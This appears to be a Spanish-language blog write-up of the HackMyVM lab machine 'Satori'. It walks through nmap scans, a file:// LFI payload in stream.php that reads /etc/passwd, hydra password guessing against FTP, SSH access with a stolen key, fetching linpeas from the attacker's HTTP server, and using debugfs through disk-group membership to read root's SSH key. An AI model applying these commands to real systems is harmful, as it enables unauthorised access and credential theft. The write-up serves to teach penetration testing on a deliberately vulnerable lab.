cd ~/blog

~/writeups/hmv/002-satori.md

002 - Satori

medium Linux hmvautor: Jordy Pérez Osorio aviso legal
Local File Inclusion (LFI) via file:// WrapperFTP Password GuessingPrivileged Group Abuse (disk) via debugfs
hackmyvm.eu/machines/machine.php?vm=Satori

~2 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.101
❯ nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-15 14:06 -03
Nmap scan report for 192.168.1.101
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 0        0        10296404 Mar 03  2021 satori.mkv [NSE: writeable]
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:07:48:a4:a2:91:7d:bf:e8:2c:2d:39:7d:21:fe:8a (RSA)
|   256 d5:f1:45:5d:d4:3e:2e:63:25:e3:0e:d0:21:0d:23:15 (ECDSA)
|_  256 e8:78:20:63:0d:23:2f:83:42:8f:14:68:c1:24:32:e4 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: youtube-downloader
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds

El FTP permite login anónimo y expone un satori.mkv. La web del puerto 80 es un "youtube-downloader".

Web y LFI

Enumeramos directorios con gobuster, que confirma el stream.php referenciado en la página:

❯ gobuster dir -u 192.168.1.101 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
/index.html           (Status: 200) [Size: 1739]
/stream.php           (Status: 200) [Size: 15]

Al analizar el código fuente de la página, encontramos cómo se construye la ruta de descarga:

var stream_url = 'stream.php?url=' + encodeURIComponent(first)

Probamos LFI directamente, pero la ruta sin wrapper no devuelve nada útil:

http://192.168.1.101/stream.php?url=//etc/passwd

El parámetro url sí es vulnerable si lo forzamos a usar el wrapper file://, que indica explícitamente que se lea un archivo del sistema:

http://192.168.1.101/stream.php?url=file:///etc/passwd

Tenemos éxito y, de /etc/passwd, obtenemos el usuario yana.

FTP Password Guessing y acceso SSH

SSH no permite el inicio de sesión por contraseña, por lo que dirigimos el Password Guessing contra el FTP, donde el servidor sí permite validar las credenciales de yana:

❯ hydra -l yana -P ~/Documentos/wordlists/rockyou.txt 192.168.1.101 ftp -t 64
...
[21][ftp] host: 192.168.1.101   login: yana   password: truelove
...

Nos conectamos por FTP, obtenemos la id_rsa de yana y con ella establecemos la conexión SSH que nos entrega la primera flag:

❯ ssh yana@192.168.1.101 -i id_rsa

Privilege Escalation mediante el grupo disk

Para apoyar la enumeración levantamos un servidor HTTP en nuestra máquina y descargamos linpeas en la víctima:

❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.101 - - [18/Feb/2024 01:09:45] "GET /linpeas.sh HTTP/1.1" 200 -

yana@satori:/tmp$ wget http://192.168.1.10:8000/linpeas.sh

linpeas revela que yana pertenece al grupo disk (Privileged Groups Privesc):

yana@satori:/tmp$ cat /etc/group | grep disk
disk:x:6:yana

Pertenecer al grupo disk da acceso de bajo nivel a los dispositivos de bloque, lo que en la práctica equivale a lectura como root sobre todo el sistema de archivos. Primero averiguamos dónde está montada la raíz:

yana@satori:/tmp$ df -h
...
/dev/sda1        11G  2.9G  7.4G  28% /
...

Usaremos debugfs para navegar el dispositivo /dev/sda1 y leer la id_rsa de root. El binario no está en el PATH, así que primero lo localizamos:

yana@satori:/tmp$ find / -name debugfs 2>/dev/null
/usr/sbin/debugfs

Y lo lanzamos contra el dispositivo para listar y extraer la clave del directorio de root:

yana@satori:/tmp$ /usr/sbin/debugfs /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  cd /root
debugfs:  ls -l

Con la id_rsa de root extraída nos conectamos por SSH, obtenemos la segunda flag y terminamos.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados